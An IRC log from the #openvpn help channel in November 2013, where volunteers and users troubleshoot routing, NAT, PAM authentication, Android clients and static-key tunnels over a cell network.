20:24 < debbie10t> maybe boogle has some backdoor problems
20:25 < debbie10t> patch me up spocky
20:25 -!- dimitry7 [~antonello@200.76.17.145] has quit [Quit: Leaving]
20:26  * phreakocious wonders if they are using openvpn for users
20:28 -!- JackWinter_ [~jack@vodsl-9823.vo.lu] has joined #openvpn
20:29 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 272 seconds]
20:29 < debbie10t> ovpng+
20:29 < phreakocious> totally possible if you control the endpoints
20:29 < phreakocious> *ahem* android
20:29 < Moonlightning> Can I get help with setting up OpenVPN to run over SSH? It'll be slow, but at least it'll be usable for text-based connections, right?
20:30 <@EugeneKay> Why would you.... what?
20:30 <@EugeneKay> If you're already in ssh, why openvpn?
20:30 <@EugeneKay> It's usually the other way around
20:31 < Moonlightning> …actually, yeah, never mind.
20:31 < debbie10t> insurance fraud ?
20:31 < Moonlightning> I should be trying to make this relay work with SSH tunneling. >.>
20:33 <+pekster> Moonlightning:
20:33 <+pekster> !statickey
20:33 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
20:33 < Moonlightning> pekster: huh?
20:34 <+pekster> As a way around DPI/fingerprinting
20:35 <+pekster> That or look at obfs, but that's a different approach as trying to give it a specifically definable fingerprint
20:36 < phreakocious> pekster: how does that help?
20:36 -!- piece3 [~quassel@14.161.15.21] has quit [Quit: No Ping reply in 180 seconds.]
20:39 < phreakocious> is it avoiding authentication and just sending whatever packets encrypted by the key so there is nothing to match on initially?
20:40 < Moonlightning> Wait…are you saying they could be looking for the initial negotiation and foiling it somehow?
20:42 < Moonlightning> If that's the case, couldn't I have it /start/ with static keys (maybe change them every week or so) and then authenticate and negotiate dynamic keys over that?
20:42 < phreakocious> hehehe
20:42 < phreakocious> hey bro, I heard you like openvpn in your openvpn
20:43 < phreakocious> I don't know what pekster is saying, but I'm suggesting that you aren't seeing that first packet because they know what a first openvpn packet looks like
20:43 < phreakocious> vs your UDP flood tool
20:43 <+pekster> That's more or less my point
20:44 <+pekster> TLS has a known fingerprint; static-key mode doesn't
20:44 < Moonlightning> Hmmmmm.
20:44 < Moonlightning> oh, only PTP links though
20:44 <+pekster> It's "random data" -- there's no handshake since the authentication is the direct HMAC/crypto that mangle/verify the packet
20:44 < Moonlightning> I have a client|server thing :(
20:44 <+pekster> Yea
20:44 < phreakocious> gotcha
20:44 <+pekster> If you only have 1 client it's fine
20:44 < Moonlightning> no, I have several
20:45 < Moonlightning> all my machines hook up to the VPN
20:45 <+pekster> Use a few tunnels then, or route across the link
20:45 <+pekster> If it's at the same site probably want to route across a single tunnel anyway
20:45 < Moonlightning> If it were at the same site, I wouldn't need to use the cell network. XD
20:46 < Moonlightning> The point is to be able to use the VPN over the cell network
20:46 <+pekster> Works great with Sprint in the US
20:46 <+pekster> Try a non-broken ISP
20:47 < Moonlightning> I have T-Mobile. x.x
20:47  * Moonlightning chuckles.
20:47 < phreakocious> and AT&T and Verizon.. :)
20:49 < Moonlightning> [Freenode/#openvpn PST]
20:49 < Moonlightning> [18:46:56] <+pekster> Works great with Sprint in the US
20:49 < Moonlightning> [18:47:00] <+pekster> Try a non-broken ISP
20:49 < Moonlightning> wrong buffer, sorry
20:52 < Moonlightning> What's the difference between these two apps?
20:52 < Moonlightning> https://play.google.com/store/apps/details?id=net.openvpn.openvpn  # this is the one I had before; didn't work for me
20:53 < Moonlightning> https://play.google.com/store/apps/details?id=de.blinkt.openvpn  # this is the one I have now, works over Wi-Fi
20:53 <+pekster> The former isn't OpenVPN
20:53 <+pekster> !connect
20:53 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
20:53 <+pekster> Blame corporate and their greedy bullshit for that
20:54 <+pekster> !learn connect as https://forums.openvpn.net/post34969.html#p34969
20:54 <@vpnHelper> Joo got it.
20:56 < debbie10t> that should be stickied.
20:57 <+pekster> Go for it if you want; the subject could be improved on if it was copied out as its own top-level post to be more obvious what it is
20:58 < debbie10t> sure joo got it .. i will
20:59 -!- drcode [~user1@5.28.134.3] has joined #openvpn
20:59 < drcode> hi all
21:00 < drcode> dose openvpn can work if there is websense that check certificate?
21:00 < drcode> I see that I don't get the orginal cert from google
21:00 < drcode> can opepvon work in such network?
21:08 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 272 seconds]
21:09 -!- drcode [~user1@5.28.134.3] has quit [Quit: leaving]
21:28 -!- corretico [~luis@190.241.180.58] has quit [Read error: Operation timed out]
21:29 -!- corretico [~luis@190.241.180.58] has joined #openvpn
21:32 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
21:44 -!- nofks_ [~nofks@198.144.156.137] has joined #openvpn
21:46 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Ping timeout: 272 seconds]
21:46 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
21:47 -!- michaelhart_ [~michaelha@162.209.54.120] has joined #openvpn
21:47 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
21:47 -!- michaelhart_ is now known as michaelhart
21:58 < ragechin> okay, blargh
21:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
21:58 < ragechin> I have multiple site-to-site nodes configured here. I'm trying to turn one of them into the default gateway of a custom routing table. What's the most openvpn-friendly way to make this happen?
21:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:27 -!- namidark [~namidark@192.34.61.38] has quit [Read error: Operation timed out]
22:30 -!- corretico [~luis@190.241.180.58] has quit [Remote host closed the connection]
22:31 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
23:42 -!- nofks_ [~nofks@198.144.156.137] has quit [Remote host closed the connection]
23:44 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
23:49 <+pekster> ragechin: OpenVPN doesn't hat much to do with that; if you want a default route on a specific routing table just add it
23:49 <+pekster> have*
--- Day changed Tue Nov 19 2013
00:00 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:09 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 246 seconds]
00:21 -!- Vodka_Man_87 [~dima@184.82.34.88] has quit [Remote host closed the connection]
00:55 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
01:01 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
01:02 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
01:04 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
01:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:40 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:41 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
01:42 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has quit [Quit: Leaving]
01:59 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has joined #openvpn
02:07 -!- alexxtasi [~alex@150.140.12.90] has joined #openvpn
02:11 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
02:22 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
02:24 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
02:25 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:32 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
02:32 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:49 -!- Denial [Denial@2.223.161.125] has joined #openvpn
02:52 -!- Mike-- [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
02:52 -!- Mike3 [mad@probie.xs4all.nl] has joined #openvpn
02:56 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 264 seconds]
02:56 -!- Mike3 [mad@probie.xs4all.nl] has quit [Client Quit]
03:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:46 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:47 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
03:50 -!- gardar [~gardar@gardar.net] has joined #openvpn
04:11 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
04:11 -!- mndo [~mndo@bl17-82-199.dsl.telepac.pt] has joined #openvpn
04:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-pflckwkibxsppqvb] has quit [Ping timeout: 245 seconds]
04:14 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
04:15 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
04:15 -!- kirin` [telex@gateway/shell/anapnea.net/x-squfxrrvimhjlcih] has joined #openvpn
04:17 -!- JackWinter_ is now known as JackWinter
04:18 -!- mete- [~mete@84.200.73.159] has quit [Remote host closed the connection]
04:37 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
04:39 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
04:45 -!- nick4 [~nick4@178.128.2.60.dsl.dyn.forthnet.gr] has quit [Ping timeout: 272 seconds]
04:45 -!- nick4_ [~nick4@46.246.147.193.dsl.dyn.forthnet.gr] has joined #openvpn
04:46 -!- nick4_ is now known as nick4
04:51 -!- gekko_ [~jjk@dev.pro-it.dk] has quit [Quit: Ex-Chat]
04:56 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
04:57 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
04:57 -!- szr- is now known as szr
04:58 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
04:58 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
05:04 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
05:04 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:13 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
05:13 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 246 seconds]
05:13 -!- szr- is now known as szr
05:15 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
05:15 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
05:18 -!- dazo_afk is now known as dazo
05:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
05:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
05:24 -!- mode/#openvpn [+o dazo] by ChanServ
05:31 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
05:33 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
05:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
05:42 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:45 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
05:45 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
05:48 -!- mete [~mete@mete.shell.la] has joined #openvpn
05:51 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
05:51 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
05:52 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
05:53 -!- michaelhart [~michaelha@162.209.54.120] has quit [Client Quit]
05:56 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
05:56 -!- nick4 [~nick4@46.246.147.193.dsl.dyn.forthnet.gr] has quit [Ping timeout: 248 seconds]
05:57 -!- duoi [~duoi@unaffiliated/duoi] has quit [Ping timeout: 272 seconds]
05:59 -!- nick4 [~nick4@77.49.32.44.dsl.dyn.forthnet.gr] has joined #openvpn
06:00 -!- szr- [~s_r@unaffiliated/szr] has quit [Ping timeout: 272 seconds]
06:01 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
06:02 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 265 seconds]
06:03 -!- szr- is now known as szr
06:04 -!- aegis [~aegis@184.75.212.34] has quit [Ping timeout: 240 seconds]
06:04 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
06:05 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
06:10 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
06:11 < bersace> Hi Ziber , how did you plug your VMs in a VPN ?
06:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:19 -!- aegis [~aegis@184.75.213.122] has joined #openvpn
06:19 < bersace> Ziber: i found http://teeks99.com/sys/OpenVPN-VMs/Tryout.html, i'm trying it
06:26 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
06:28 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
06:28 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
06:30 < Sembei> I have a stupid and noob problem but I my server is not routing to my network just only to himself
06:31 < Sembei> even having added route and pushed route
06:33 < Sembei> (server is running osx )
06:33 < Sembei> any hint?
06:36 -!- duoi [~duoi@unaffiliated/duoi] has quit [Ping timeout: 245 seconds]
06:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:42 < heraclitus> pekster, I modified my script for via-file. Thanks again! :D
06:45 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- Cubox` [cubox@unaffiliated/cubox] has quit [Quit: WeeChat 0.4.2-rc2]
06:50 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
07:07 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
07:12 <@dazo> Sembei: did you enable ip forwarding?
07:13 < Sembei> yes
07:13 <@dazo> Sembei: and does your firewall restrict forwarding anyhow?
07:13 < Sembei> actually is fordwaring from 10.... to itself in 192
07:13 <@krzee> !serverlan
07:13 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
07:14 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
07:14 <@krzee> see the flowchart at #3
07:14 <@dazo> Sembei: that's because the kernel is intelligent and sees it's own addresses as the same one
07:14 <@krzee> tell us where you get stuck
07:14 <@krzee> it sounds like you'll get stuck at the route outside openvpn
07:14 <@dazo> it rejects to forward a packet from 10.x.x.x to 192.x.x.x if your NIC have both those addresses
07:15 < Sembei> yes
07:15 < Sembei> is rejecting to do it dunno why
07:15 <@dazo> use tcpdump and see where packets get stuck
07:15 < Sembei> is tun btw
07:16 < Sembei> do I need to add a static route or openvpn can handle it?
07:16 <@dazo> are you guessing?
07:17 < Sembei> that's why I added on config file
07:17 < jackbrown> hi
07:17 < jackbrown> does anyone uses vpnbook?
07:18 <@dazo> what's that?
07:19 <@dazo> !jjk
07:19 <@krzee> jackbrown, im guessing thats a provider, if so then nope
07:19 <@krzee>  !book
07:19 <@krzee> !book
07:19 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
07:19 <@dazo> that's the only "vpnbook" I know about
07:19 <@krzee> if you meant that, then yes, i like that vpnbook very much!
07:19 <@krzee> :D
07:20 <@dazo> +1
07:23 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
07:31 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
07:32 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
07:40 -!- moviuro [~moviuro@ginfo.ext.ec-m.fr] has joined #openvpn
07:43 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
07:44 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:50 -!- prothon [~prothon@65.39.153.65] has joined #openvpn
07:51 < prothon> Howdy! I have a question for the audience. If a Winodws 7 workstation runs the OpenVPN server and another runs the OpenVPN client, can the OpenVPN client communicate with other workstations on the servers network?
07:54 < heraclitus> openvpn seems to authenticate ALL users, regardless of if they're valid or not, using this script that I wrote https://pastee.org/px2gj Testing stand alone, the script works fine, when called from openvpn, it simply returns 'Username/Password authentication succeeded for username 'foo'', regardless of what the credentials for 'foo' are. :(
07:57 < Hes> heraclitus: You might want to read up on SQL injection attacs too, your remote users can now pass in SQL commands as username
07:58 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:58 < heraclitus> I'm aware of that, I'm just trying to get a proof of concept, Hes
07:58 < Hes> think of an username starting with the ' character, how your SELECT query will look like then. Use prepared statements.
08:01 < heraclitus> either way, I'm a little baffled at why openvpn will allow all credentials to pass by the script, when the script rejects invalid credentials when tested outside openvpn. I know it's probably something I'm doing wrong, as it always is.
08:01 < heraclitus> :)
08:03 < heraclitus> script-security is 2, tmp-dir is /dev/shm, as suggested by the manual, I'm calling the script with 'auth-user-pass-verify "/usr/bin/python /etc/openvpn/auth_from_file.py" via-file
08:09 -!- moviuro [~moviuro@ginfo.ext.ec-m.fr] has quit [Ping timeout: 248 seconds]
08:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Quit: leaving]
08:17 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has joined #openvpn
08:17 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Changing host]
08:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
08:18 -!- natsukao [~natsukao@dynamic-adsl-94-37-153-251.clienti.tiscali.it] has joined #openvpn
08:20 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
08:31 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:39 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:44 < Ziber> I have two clients on my VPN, my laptop and a server. The server has a LAN behind it. When SSHing to a machine in that LAN, the IP I'm apparently connecting from is the LAN IP of the server. Why is that?
08:44 < Ziber> For clarification purposes, the "server" to which I've referred is _not_ the VPN server.
08:50 -!- moviuro [~moviuro@ginfo.ext.ec-m.fr] has joined #openvpn
08:56 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
08:57 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
08:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:59 < jackbrown> I'm unable to connect to VPN that I always use Could anyone take a look to this log ?  https://www.privatepaste.com/3580cef2a8
09:00 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:01 < jackbrown> ?
09:02 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
09:12 < Ziber> When I set up my VPN, one of my clients (with a LAN behind it) masquerades IPs. I'd rather have the original source IP used, rather than the LAN IP of the VPN client.
09:13 -!- moviuro [~moviuro@ginfo.ext.ec-m.fr] has quit [Ping timeout: 272 seconds]
09:17 -!- nick4 [~nick4@77.49.32.44.dsl.dyn.forthnet.gr] has quit [Ping timeout: 245 seconds]
09:17 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:18 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
09:19 -!- alexxtasi [~alex@150.140.12.90] has left #openvpn []
09:22 -!- szr- is now known as szr
09:32 -!- moviuro [~moviuro@ginfo.ext.ec-m.fr] has joined #openvpn
09:44 -!- ccha3 [~ccha@unaffiliated/ccha] has joined #openvpn
09:47 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
09:47 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
09:47 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
09:48 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
09:48 -!- riddle [riddle@us.yunix.net] has joined #openvpn
09:49 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
09:49 -!- kossy_ [a@kossy.org] has joined #openvpn
09:50 <@krzee> Ziber, then dont NAT
09:50 <@krzee> its not like NAT is needed for routing a lan
09:50 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
09:51 < Ziber> What do I have to do to avoid NAT, then? When I first set it up, I used NAT because I got it working...
09:51 -!- emid_ [~emid@192.241.162.156] has joined #openvpn
09:51 -!- Cultist_ [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
09:52 <@krzee> lol
09:52 <@krzee> !clientlan
09:52 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
09:52 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
09:52 -!- novaflash_ [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
09:52 -!- Netsplit *.net <-> *.split quits: kossy, soapee01, aji, Cultist, uuuppz_, emid, ccha2, Aketzu, @novaflash
09:52 -!- novaflash_ is now known as novaflash
09:52 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
09:52 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
09:52 -!- mode/#openvpn [+o novaflash] by ChanServ
09:53 < Ziber> krzee: I have all of that. Except when I remove the NAT masquerade rules, I can't SSH to any of my LAN machines, however, I can connect (via LAN IP) to my home router.
09:54 <@krzee> follow the flowchart (AFTER removing the nat rule)
09:56 < Ziber> Alright.
09:57 -!- packardb [~packardb@82.76.133.25] has joined #openvpn
09:57 < packardb> Guys, I'm having a problem getting openvpn to authenticate users using pam and pam_mysql
09:59 <@krzee> you might need more detail in order to get help
09:59 <@krzee> :D
09:59 <@krzee> especially helpful would be an idea of what your problem actually is
09:59 < packardb> I am running FreeBSD 9.1-RELEASE (amd64), with openvpn-2.3.1 tun mode. On the server I've added the plugin line : plugin /path/to/openvpn-auth-pam.so openvpn
09:59 <@krzee> !crystal
09:59 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
09:59 < Ziber> Gotta work on this later, class time.
10:00 -!- aji [~alex@atheme/member/aji] has joined #openvpn
10:00 <@krzee> packardb, any errors?
10:01 < packardb> On the client side I've added the auth-user-pass directive ... when I try to connect, the client is asked for a username/password but it won't work, the authentication is rejected. On the server side, i get:
10:01 < packardb> Tue Nov 19 17:51:12 2013 us=103429 *.*.*.*:57145 PLUGIN_CALL: POST /usr/local/lib/openvpn-plugin-auth-pam.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1
10:01 < packardb> PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/local/lib/openvpn-plugin-auth-pam.so
10:01 < packardb> And in /var/log/messages I get: openvpn[15061]: in openpam_load_module(): no pam_mysql.so found
10:01 < packardb> However, i can ensure you I have pam_mysql.so in both /usr/lib and /usr/local/lib
10:02 < packardb> and i also have the /usr/local/etc/pam.d/openvpn file
10:02 <@krzee> must not be where its looking then
10:03 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
10:03 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
10:04 < packardb> krzee: what do you mean?
10:04 <@krzee> i cant say where its looking
10:04 < packardb> krzee: I have vsftpd with pam_mysql.so on the same machine, which is working like a charm
10:04 <@krzee> but if you're so sure its in those dirs, and it cant be found, logic would make me think its looking elsewhere
10:04 < packardb> krzee: What's weird is that even if I use the full path to pam_mysql.so in /usr/local/etc/pam.d/openvpn it still doesn't work
10:05 <@krzee> i dont use password auth, but "no pam_mysql.so found" ...
10:05 <@krzee> is openvpn getting chroot() ?
10:05 <@krzee> i believe freebsd startup script wants to do that...
10:05 < rob0> You'll have to figure out where PAM is looking for its modules.
10:05 < packardb> It should look into /usr/lib and /usr/local/lib
10:06 < rob0> strace(1) might help.
10:06 <@krzee> yes i would strace IF i confirm its not a chroot problem
10:15 -!- crus [~crusader@2001:44b8:319e:2900:d477:432d:2ab9:9a08] has quit [Read error: Connection reset by peer]
10:20 -!- bjonnh [~Bjonnh@unaffiliated/bjonnh] has left #openvpn ["WeeChat 0.4.2"]
10:22 -!- corretico [~luis@190.241.180.58] has joined #openvpn
10:35 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 264 seconds]
10:37 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
10:46 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
10:47 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:54 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:07 -!- master_o1_master [~master_of@p4FD7B1CB.dip0.t-ipconnect.de] has joined #openvpn
11:10 -!- master_of_master [~master_of@p4FD7B37E.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
11:16 -!- nick4 [~nick4@46.246.237.2.dsl.dyn.forthnet.gr] has joined #openvpn
11:19 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Remote host closed the connection]
11:31 < packardb> krzee: fixed it
11:31 <@krzee> what was it?
11:31 <@krzee> chroot?
11:31 < packardb> krzee: there was a problem with the way pam_mysql.so is build from ports on FreeBSD. Patching the Makefile fixes this
11:31 <@krzee> oh boy
11:32 <@krzee> got a link?
11:32 < packardb> krzee: Wait a sec
11:32 <@krzee> thanks
11:32 < Ziber> Let's see if I can look again.
11:32 <@krzee> then ill tell the bot, and the next guy wont need to work as hard :)
11:33 < packardb> krzee: http://techtots.blogspot.ro/2010/01/openvpn-with-pammysql-usernamepassword.html
11:33 <@vpnHelper> Title: Tech Tots: OpenVPN with pam_mysql username/password authentication (at techtots.blogspot.ro)
11:33 < Ziber> I've followed the clinetlan flowchart to a T, and am still faced with the same problem if I don't have NAT
11:33 < packardb> krzee: pam-mysql port needs that Makefile patch
11:34 < Ziber> (The problem being I can't connect to a LAN machine behind a VPN client)
11:34 <@krzee> shit i saw that but figured it was debian only
11:35 <@krzee> !learn pam-mysql as in order to use pam-mysql with openvpn in feeebsd (and maybe other OS) you need to patch it.  http://techtots.blogspot.ro/2010/01/openvpn-with-pammysql-usernamepassword.html
11:35 <@vpnHelper> Joo got it.
11:35 <@krzee> packardb, good job =]
11:35 <@krzee> Ziber, is the vpn server running on the router of the server's lan?
11:36 < Ziber> Nope. The VPN server is a linux server, the router is the one Verizon gave us.
11:37 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
11:39 < packardb> krzee: Yep, only took like ... 4 hrs.
11:39 <@krzee> Ziber,
11:39 <@krzee> !route_outside_ovpn
11:40 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:40 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
11:43 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Client Quit]
11:45 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:46 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Remote host closed the connection]
11:46 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
11:48 < Ziber> In one of my LANs (my home lan, 10.192.150.0/24), the IP I appear to connect from is the LAN IP of the VPN server. In another lan (AWS VPC 10.220.0.0/24), the IP I connect from is the VPN IP of my laptop (which is what I want). In each, there are routes for the VPN subnet (10.192.254.0/24) to the respective machines.
11:49 -!- rmk0 [~rmk0@unaffiliated/rothwell] has joined #openvpn
11:51 < rmk0> 'lo. i've been trying to get a few games that require udp broadcasts to work on my existing tun-based client-to-client server setup. with tun, broadcasts obviously weren't passed through the tunnel. switching to tap and using redirect-gateway on each client showed that broadcast packets were reaching the server but were not passed to clients.
11:51 < rmk0> am i correct in thinking that i really need to be using bridging to get this to work properly?
